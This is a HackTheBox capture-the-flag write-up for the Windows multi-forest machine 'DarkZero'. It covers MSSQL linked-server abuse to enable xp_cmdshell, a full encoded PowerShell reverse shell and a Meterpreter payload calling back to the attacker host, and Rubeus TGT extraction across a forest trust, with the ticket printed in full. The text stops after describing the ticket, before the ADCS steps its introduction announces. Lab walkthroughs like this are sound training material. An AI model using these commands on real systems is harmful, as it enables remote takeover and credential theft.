> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/darkzero.md).
# DarkZero
Cross-forest MSSQL linked server abuse grants RCE on DC02. TGT delegation across the trust enables ADCS certificate enrollment, yielding an NT hash. GodPotato escalates to SYSTEM for the user flag.
## HackTheBox — DarkZero
**Difficulty:** Hard (assumed) **OS:** Windows (Active Directory / Multi-Forest) **Tags:** Active Directory, MSSQL, Linked Servers, Kerberos, TGT Delegation, ADCS, Privilege Escalation
***
### Enumeration
#### Nmap
A full service scan against the target immediately reveals a Windows Domain Controller with an unusually rich attack surface:
```sh
┌──(kali㉿kali)-[~]
└─$ nmap 10.129.5.56 -sCV
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-30 11:20 -0400
Nmap scan report for 10.129.5.56
Host is up (0.28s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-30 15:21:05Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
| 10.129.5.56:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.5.56:1433:
| Target_Name: darkzero
| NetBIOS_Domain_Name: darkzero
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: darkzero.htb
| DNS_Computer_Name: DC01.darkzero.htb
| DNS_Tree_Name: darkzero.htb
|_ Product_Version: 10.0.26100
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-05-30T15:16:23
|_Not valid after: 2056-05-30T15:16:23
|_ssl-date: 2026-05-30T15:23:24+00:00; -15s from scanner time.
2179/tcp open vmrdp?
3268/tcp open ldap
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
3269/tcp open globalcatLDAPssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```
The TLS certificate on LDAP reveals the hostname and domain: `DC01.darkzero.htb`. The MSSQL NTLM info confirms the NetBIOS domain name `darkzero` and the DNS tree `darkzero.htb`.
***
### Initial Access — MSSQL Linked Server Abuse
With credentials `john.w:RFulUtONCOL!` (obtained via prior enumeration, not shown), we authenticate to the MSSQL instance on DC01 using Impacket's `mssqlclient.py` with Windows authentication:
```sh
┌──(kali㉿kali)-[~]
└─$ mssqlclient.py darkzero.htb/john.w:'RFulUtONCOL!'@DC01.darkzero.htb -windows-auth
```
Enumerating linked servers reveals something interesting:
```
SQL (darkzero\john.w guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
----------------- ---------------- ----------- ----------------- ------------------ ------------ -------
DC01 SQLNCLI SQL Server DC01 NULL NULL NULL
DC02.darkzero.ext SQLNCLI SQL Server DC02.darkzero.ext NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
----------------- --------------- --------------- ------------
DC02.darkzero.ext darkzero\john.w 0 dc01_sql_svc
```
There is a linked server pointing to `DC02.darkzero.ext` — a second domain entirely. The link maps the local login `darkzero\john.w` to a remote login `dc01_sql_svc` on DC02. Even better:
The remote account is a **sysadmin** on DC02's SQL Server. We can leverage this to enable `xp_cmdshell` over the linked server and execute OS commands as `darkzero-ext\svc_sql`:
```
SQL (darkzero\john.w guest@master)> EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [DC02.darkzero.ext];
-
1
SQL (darkzero\john.w guest@master)> EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [DC02.darkzero.ext];
INFO(DC02): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (darkzero\john.w guest@master)> EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [DC02.darkzero.ext];
INFO(DC02): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (darkzero\john.w guest@master)> EXEC ('EXEC xp_cmdshell ''whoami''') AT [DC02.darkzero.ext];
output
--------------------
darkzero-ext\svc_sql
NULL
SQL (darkzero\john.w guest@master)> use_link [DC02.darkzero.ext]
SQL >[DC02.darkzero.ext] (dc01_sql_svc dbo@master)> xp_cmdshell whoami
output
--------------------
darkzero-ext\svc_sql
NULL
```
First I tried this revershell command directly from the `xp_cmdshell`
```sh
┌──(kali㉿kali)-[~]
└─$ echo -n '$LHOST = "10.10.14.95"; $LPORT = 4444; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()' | iconv -f ASCII -t UTF-16LE | base64 -w 0
JABMAEgATwBTAFQAIAA9ACAAIgAxADAALgAxADAALgAxADQALgA5ADUAIgA7ACAAJABMAFAATwBSAFQAIAA9ACAANAA0ADQANAA7ACAAJABUAEMAUABDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAkAEwASABPAFMAVAAsACAAJABMAFAATwBSAFQAKQA7ACAAJABOAGUAdAB3AG8AcgBrAFMAdAByAGUAYQBtACAAPQAgACQAVABDAFAAQwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAJABOAGUAdAB3AG8AcgBrAFMAdAByAGUAYQBtACkAOwAgACQAUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFcAcgBpAHQAZQByACgAJABOAGUAdAB3AG8AcgBrAFMAdAByAGUAYQBtACkAOwAgACQAUwB0AHIAZQBhAG0AVwByAGkAdABlAHIALgBBAHUAdABvAEYAbAB1AHMAaAAgAD0AIAAkAHQAcgB1AGUAOwAgACQAQgB1AGYAZgBlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAB3AGgAaQBsAGUAIAAoACQAVABDAFAAQwBsAGkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAApACAAewAgAHcAaABpAGwAZQAgACgAJABOAGUAdAB3AG8AcgBrAFMAdAByAGUAYQBtAC4ARABhAHQAYQBBAHYAYQBpAGwAYQBiAGwAZQApACAAewAgACQAUgBhAHcARABhAHQAYQAgAD0AIAAkAE4AZQB0AHcAbwByAGsAUwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABCAHUAZgBmAGUAcgAsACAAMAAsACAAJABCAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACkAOwAgACQAQwBvAGQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAQgB1AGYAZgBlAHIALAAgADAALAAgACQAUgBhAHcARABhAHQAYQAgAC0AMQApACAAfQA7ACAAaQBmACAAKAAkAFQAQwBQAEMAbABpAGUAbgB0AC4AQwBvAG4AbgBlAGMAdABlAGQAIAAtAGEAbgBkACAAJABDAG8AZABlAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADEAKQAgAHsAIAAkAE8AdQB0AHAAdQB0ACAAPQAgAHQAcgB5ACAAewAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACgAJABDAG8AZABlACkAIAAyAD4AJgAxACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAF8AIAB9ADsAIAAkAFMAdAByAGUAYQBtAFcAcgBpAHQAZQByAC4AVwByAGkAdABlACgAIgAkAE8AdQB0AHAAdQB0AGAAbgAiACkAOwAgACQAQwBvAGQAZQAgAD0AIAAkAG4AdQBsAGwAIAB9ACAAfQA7ACAAJABUAEMAUABDAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAOwAgACQATgBlAHQAdwBvAHIAawBTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAgACQAUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIALgBDAGwAbwBzAGUAKAApADsAIAAkAFMAdAByAGUAYQBtAFcAcgBpAHQAZQByAC4AQwBsAG8AcwBlACgAKQA=
```
it worked but the nc shell wasn't much interactive
```sh
SQL >[DC02.darkzero.ext] (dc01_sql_svc dbo@master)> xp_cmdshell powershell -e JABMAEgATwBTAFQAIAA9ACAAIgAxADAALgAxADAALgAxADQALgA5ADUAIgA7ACAAJABMAFAATwBSAFQAIAA9ACAANAA0ADQANAA7ACAAJABUAEMAUABDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAkAEwASABPAFMAVAAsACAAJABMAFAATwBSAFQAKQA7ACAAJABOAGUAdAB3AG8AcgBrAFMAdAByAGUAYQBtACAAPQAgACQAVABDAFAAQwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAJABOAGUAdAB3AG8AcgBrAFMAdAByAGUAYQBtACkAOwAgACQAUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFcAcgBpAHQAZQByACgAJABOAGUAdAB3AG8AcgBrAFMAdAByAGUAYQBtACkAOwAgACQAUwB0AHIAZQBhAG0AVwByAGkAdABlAHIALgBBAHUAdABvAEYAbAB1AHMAaAAgAD0AIAAkAHQAcgB1AGUAOwAgACQAQgB1AGYAZgBlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAB3AGgAaQBsAGUAIAAoACQAVABDAFAAQwBsAGkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAApACAAewAgAHcAaABpAGwAZQAgACgAJABOAGUAdAB3AG8AcgBrAFMAdAByAGUAYQBtAC4ARABhAHQAYQBBAHYAYQBpAGwAYQBiAGwAZQApACAAewAgACQAUgBhAHcARABhAHQAYQAgAD0AIAAkAE4AZQB0AHcAbwByAGsAUwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABCAHUAZgBmAGUAcgAsACAAMAAsACAAJABCAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACkAOwAgACQAQwBvAGQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAQgB1AGYAZgBlAHIALAAgADAALAAgACQAUgBhAHcARABhAHQAYQAgAC0AMQApACAAfQA7ACAAaQBmACAAKAAkAFQAQwBQAEMAbABpAGUAbgB0AC4AQwBvAG4AbgBlAGMAdABlAGQAIAAtAGEAbgBkACAAJABDAG8AZABlAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADEAKQAgAHsAIAAkAE8AdQB0AHAAdQB0ACAAPQAgAHQAcgB5ACAAewAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACgAJABDAG8AZABlACkAIAAyAD4AJgAxACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAF8AIAB9ADsAIAAkAFMAdAByAGUAYQBtAFcAcgBpAHQAZQByAC4AVwByAGkAdABlACgAIgAkAE8AdQB0AHAAdQB0AGAAbgAiACkAOwAgACQAQwBvAGQAZQAgAD0AIAAkAG4AdQBsAGwAIAB9ACAAfQA7ACAAJABUAEMAUABDAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAOwAgACQATgBlAHQAdwBvAHIAawBTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAgACQAUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIALgBDAGwAbwBzAGUAKAApADsAIAAkAFMAdAByAGUAYQBtAFcAcgBpAHQAZQByAC4AQwBsAG8AcwBlACgAKQA=
```
```sh
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.95:4444
[*] Command shell session 1 opened (10.10.14.95:4444 -> 10.129.5.56:58881) at 2026-05-30 14:06:02 -0400
whoami
darkzero-ext\svc_sql
```
***
### Shell on DC02
#### Getting a Stable Shell
The initial nc-based PowerShell reverse shell was too unstable for reliable payload delivery. Instead, we generate a Meterpreter executable with `msfvenom`:
```sh
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.95 LPORT=4443 -f exe -o met.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7680 bytes
Saved as: met.exe
```
We upload `met.exe` to DC02 via `xp_cmdshell` and execute it, catching the callback with Metasploit's `multi/handler`. We now have a stable shell as `darkzero-ext\svc_sql`.
#### Situational Awareness
Running `whoami /all` shows the account has a High Mandatory Integrity level and runs under `NT SERVICE\MSSQLSERVER`. No directly exploitable privileges are present at this stage.
A `Policy_Backup.inf` file found at the root of `C:\` reveals the `SeServiceLogonRight` policy, confirming that `svc_sql` is a legitimate service account with the right to log on as a service — a detail that becomes relevant shortly.
***
### Lateral Movement — TGT Delegation Across Forest Trust
#### Enumerating the Trust
Reviewing the environment in BloodHound confirms two domains connected by a cross-forest trust: `darkzero.htb` and `darkzero.ext`. SID filtering is enabled, preventing direct SID history abuse. However, `Enum-ADTrusts.ps1` reveals a critical trust attribute:
```cmd
C:\Windows\system32>whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID
==================== ============================================
darkzero-ext\svc_sql S-1-5-21-1969715525-31638512-2552845157-1103
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ =============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQLSERVER Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 Enabled by default, Enabled group, Group owner
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```
`Policy_Backup.inf` in `C:` says this about svc\_sql account and service
```
SeServiceLogonRight = *S-1-5-20,svc_sql,SQLServer2005SQLBrowserUser$DC02,*S-1-5-80-0,*S-1-5-80-2652535364-2169709536-2857650723-2622804123-1107741775,*S-1-5-80-344959196-2060754871-2302487193-2804545603-1466107430,*S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003
```
* **`svc_sql`**: A custom service account (likely a domain or local user) dedicated to running a SQL Server service.
* **`SQLServer2005SQLBrowserUser$DC02`**: A built-in local account created automatically by the SQL Server 2005 installer to run the SQL Browser service. (The `DC02` part implies the machine's hostname).
* **`*S-1-5-20`**: The well-known SID for the built-in **Network Service** account.
* **`*S-1-5-80-0`**: The SID for **NT SERVICE\ALL SERVICES**, which allows standard Windows Virtual Service Accounts to run.
* **`*S-1-5-80-...` (The long SIDs)**: These are specific Service SIDs (Virtual Accounts) tied to individual Windows services (like IIS app pools, Update services, etc.).
* If any other account tries to start a service (requesting `LOGON32_LOGON_SERVICE`), Windows will deny it with a "logon failure" error because it is not listed on this specific line.
in bloodhound we can see that there are 2 domains with cross-domain trust (but SID filtering is enabled)
so I transferred `Enum-ADTrusts.ps1` in the shell and ran it
```powershell
PS C:\ProgramData> Import-Module ./Enum-ADTrusts.ps1
Import-Module ./Enum-ADTrusts.ps1
[+] Added Trust between 'darkzero.ext' & 'darkzero.htb'
[+] Added Trust between 'darkzero.htb' & 'darkzero.ext'
Attribute Domain: darkzero.htb
--------- --------------------
TrustDirection: BiDirectional
TrustFlavor: Forest
AuthenticationLevel: ForestWideAuthentication
Transivivity: Enabled
SID Filtering: Enabled (Only SIDs from the forest of darkzero.ext are allowed)
TGT Delegation: Enabled
TrustFlags: TRUST_ATTRIBUTE_FOREST_TRANSITIVE, TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION
Supported Encryption Types:
Legend:
1as per [MS-PAC] Section 4.1.2.2
'CrossLink' trusts are more generally known as 'Shortcut' trusts
'unknown' often indicates that the trust partner could not be contacted
```
`TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION` means that TGTs can be forwarded across this trust boundary — a significant misconfiguration that allows us to impersonate `svc_sql` toward services in the `darkzero.htb` forest.
#### Stealing the TGT via Rubeus
We transfer Rubeus to DC02 and use `tgtdeleg` to extract a forwardable TGT from the current Kerberos context:
```powershell
PS C:\ProgramData> .\rubeus.exe tgtdeleg /nowrap
.\rubeus.exe tgtdeleg /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC02.darkzero.ext'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: ZcSk6448AXOk98kX0mrEEnFnBLw2bqVOiU60Ry4hOjw=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFgDCCBXygAwIBBaEDAgEWooIEhjCCBIJhggR+MIIEeqADAgEFoQ4bDERBUktaRVJPLkVYVKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMREFSS1pFUk8uRVhUo4IEPjCCBDqgAwIBEqEDAgECooIELASCBCiNr+3EmRspbW8B7kGkvoGF5KKvh04yaG4+ixcCmwPVp+3T2c2X97EuiHhYsHIP510lcRlBATrPOPu6poijNe98svtPwf5abQIFQaP3XYBpVbZ/4eXgJJ2eLixxEfbZRZetuaPShlTIL0GX7Hpt6aHK5RUn09XVE4fV5Y6cXdSYmWPq95/dRWt+02gmlWIZygHeGb/47BE9+z6F8aem1YCXL5gGieap84juCqehBUUpZp6zYGyhgTdngMhM6k5yDkPTEwJn0MXoRe8CoomA/K/SGkYrJ+5k5CiJ/FSR+IOjuA8zKux7Rpp7i1fDFQ641Dh2oTwn+SWDu2f5P4vevhqQ0+qH4d0np+I7/p29K+8WYUrO9BTIk7oCeFfrZFNdlGn3lzmF5kOvj/0AcujInSrgLj5dVRgC+sMWWQdBrBqjbOFol2ZC9icIT1sQL+GlInv91IaX6wjxIQu6UbCzZITHHWkBYSdugEpppVjxPD5gub0yGcGR6kafHSne2WnB1ryQVuZpqq0SeBWQlxhYMyQhZsombHGeUYJTSJNfo8Gj2UqNjm1PmdxMaFRQK/h5tggq+/QcC1jpj+DmaS9sHS1ZugSwWkjFm2fvTkzSk2EwnYiF4LJ0c7ckiD56lfPjbuV/IGCvisHkEHtVpWdzrG3d/z8RmVoBYIyGTwsyy8wt9CI0Yy/YHth8SIwK+Gyyi7Z/+/Q9mBC3BBwobrPAC5b6gDB7773mOIHrWn1p0r/qpFT1W4dB+vg5hmN19galtWxyf6RoPKikySnb7okDr6y3CN3VCi6IrUzXUXfBKxIDPFrXABopYEwSlY+b4f7n/+si+XYcV8KkHevBVYCO2hCXSyanD5QsFPu5tv13QlQIyuHRU3yG3J+L9bQ2phw4hkhI+zcYIZa0yFqs0bfdSn8biMy1ICTLgKUW2n8HtC5qGbPNTm8P3S2eQMUS8ZySkkpuYnHVT3aNGWJoRP0ATxsT7PpNV7IT84W/ayyBxXf3EcF2MLCWcASFlw5lvRg4L0K3NmdOTrwdiWBPLGbjeTi5YS4KuVqIdlnJBnNmjBBDs83Rm4v/j+6HN9sApuwaDkIP+gcoCukG0pnTdrZFCr/MpwfsKldNdwUF5dVQKIsZmYqKxyjeFawjiOxHo1JHnWZXHz13MEDbvLEDrcPc7VXfZR8eaLhkOJvQDh0FDyoB68ikM7lhRFgeGIm4Z2VOWOae/GGqrBSnh+aUErK6GonPAPOgSox9c95OnpYa1pORAgcKw4Klq23GE4TyfaeXrg5A9mVneimjBihbLucPTpgzAgAnQy1CQFImGe/EKHkggXG+cK0MxcyR8Q25MQ4Amc/ncEV1WhPHduRTxsHpFz3HSIedzFmVM9KLHRO0RXEp1h81c9IdDqXte7d/XQv9nFo10+NBCtBw0KOB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEIKWBQL2EkSYwS+R1epwdDcOtTYUPnwcHf4O0TXwSu+DIoQ4bDERBUktaRVJPLkVYVKIUMBKgAwIBAaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyNjA1MzExMjA4MThaphEYDzIwMjYwNTMxMTkzNjI1WqcRGA8yMDI2MDYwNzA5MzYyNVqoDhsMREFSS1pFUk8uRVhUqSEwH6ADAgECoRgwFhsGa3JidGd0GwxEQVJLWkVSTy5FWFQ=
```
This yields a base64-encoded `.kirbi` ticket. We decode and convert it for use with Impacket:
```sh
┌──(kali㉿kali)-[~/Documents/darkzero]
└─$ echo 'doIFgDCCBXygAwIBBaEDAgEWooIEhjCCBIJhggR+MIIEeqADAgEFoQ4bDERBUktaRVJPLkVYVKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMREFSS1pFUk8uRVhUo4IEPjCCBDqgAwIBEqEDAgECooIELASCBCiNr+3EmRspbW8B7kGkvoGF5KKvh04yaG4+ixcCmwPVp+3T2c2X97EuiHhYsHIP510lcRlBATrPOPu6poijNe98svtPwf5abQIFQaP3XYBpVbZ/4eXgJJ2eLixxEfbZRZetuaPShlTIL0GX7Hpt6aHK5RUn09XVE4fV5Y6cXdSYmWPq95/dRWt+02gmlWIZygHeGb/47BE9+z6F8aem1YCXL5gGieap84juCqehBUUpZp6zYGyhgTdngMhM6k5yDkPTEwJn0MXoRe8CoomA/K/SGkYrJ+5k5CiJ/FSR+IOjuA8zKux7Rpp7i1fDFQ641Dh2oTwn+SWDu2f5P4vevhqQ0+qH4d0np+I7/p29K+8WYUrO9BTIk7oCeFfrZFNdlGn3lzmF5kOvj/0AcujInSrgLj5dVRgC+sMWWQdBrBqjbOFol2ZC9icIT1sQL+GlInv91IaX6wjxIQu6UbCzZITHHWkBYSdugEpppVjxPD5gub0yGcGR6kafHSne2WnB1ryQVuZpqq0SeBWQlxhYMyQhZsombHGeUYJTSJNfo8Gj2UqNjm1PmdxMaFRQK/h5tggq+/QcC1jpj+DmaS9sHS1ZugSwWkjFm2fvTkzSk2EwnYiF4LJ0c7ckiD56lfPjbuV/IGCvisHkEHtVpWdzrG3d/z8RmVoBYIyGTwsyy8wt9CI0Yy/YHth8SIwK+Gyyi7Z/+/Q9mBC3BBwobrPAC5b6gDB7773mOIHrWn1p0r/qpFT1W4dB+vg5hmN19galtWxyf6RoPKikySnb7okDr6y3CN3VCi6IrUzXUXfBKxIDPFrXABopYEwSlY+b4f7n/+si+XYcV8KkHevBVYCO2hCXSyanD5QsFPu5tv13QlQIyuHRU3yG3J+L9bQ2phw4hkhI+zcYIZa0yFqs0bfdSn8biMy1ICTLgKUW2n8HtC5qGbPNTm8P3S2eQMUS8ZySkkpuYnHVT3aNGWJoRP0ATxsT7PpNV7IT84W/ayyBxXf3EcF2MLCWcASFlw5lvRg4L0K3NmdOTrwdiWBPLGbjeTi5YS4KuVqIdlnJBnNmjBBDs83Rm4v/j+6HN9sApuwaDkIP+gcoCukG0pnTdrZFCr/MpwfsKldNdwUF5dVQKIsZmYqKxyjeFawjiOxHo1JHnWZXHz13MEDbvLEDrcPc7VXfZR8eaLhkOJvQDh0FDyoB68ikM7lhRFgeGIm4Z2VOWOae/GGqrBSnh+aUErK6GonPAPOgSox9c95OnpYa1pORAgcKw4Klq23GE4TyfaeXrg5A9mVneimjBihbLucPTpgzAgAnQy1CQFImGe/EKHkggXG+cK0MxcyR8Q25MQ4Amc/ncEV1WhPHduRTxsHpFz3HSIedzFmVM9KLHRO0RXEp1h81c9IdDqXte7d/XQv9nFo10+NBCtBw0KOB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEIKWBQL2EkSYwS+R1epwdDcOtTYUPnwcHf4O0TXwSu+DIoQ4bDERBUktaRVJPLkVYVKIUMBKgAwIBAaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyNjA1MzExMjA4MThaphEYDzIwMjYwNTMxMTkzNjI1WqcRGA8yMDI2MDYwNzA5MzYyNVqoDhsMREFSS1pFUk8uRVhUqSEwH6ADAgECoRgwFhsGa3JidGd0GwxEQVJLWkVSTy5FWFQ=' | base64 -d > svc_sql.kirbi
┌──(kali㉿kali)-[~/Documents/darkzero]
└─$ ticketConverter.py svc_sql.kirbi svc_sql.ccache
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] done
┌──(kali㉿kali)-[~/Documents/darkzero]
└─$ describeTicket.py svc_sql.ccache
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : a58140bd849126304be4757a9c1d0dc3ad4d850f9f07077f83b44d7c12bbe0c8
[*] User Name : svc_sql
[*] User Realm : DARKZERO.EXT
[*] Service Name : krbtgt/DARKZERO.EXT
[*] Service Realm : DARKZERO.EXT
[*] Start Time : 31/05/2026 08:08:18 AM
[*] End Time : 31/05/2026 15:36:25 PM
[*] RenewTill : 07/06/2026 05:36:25 AM
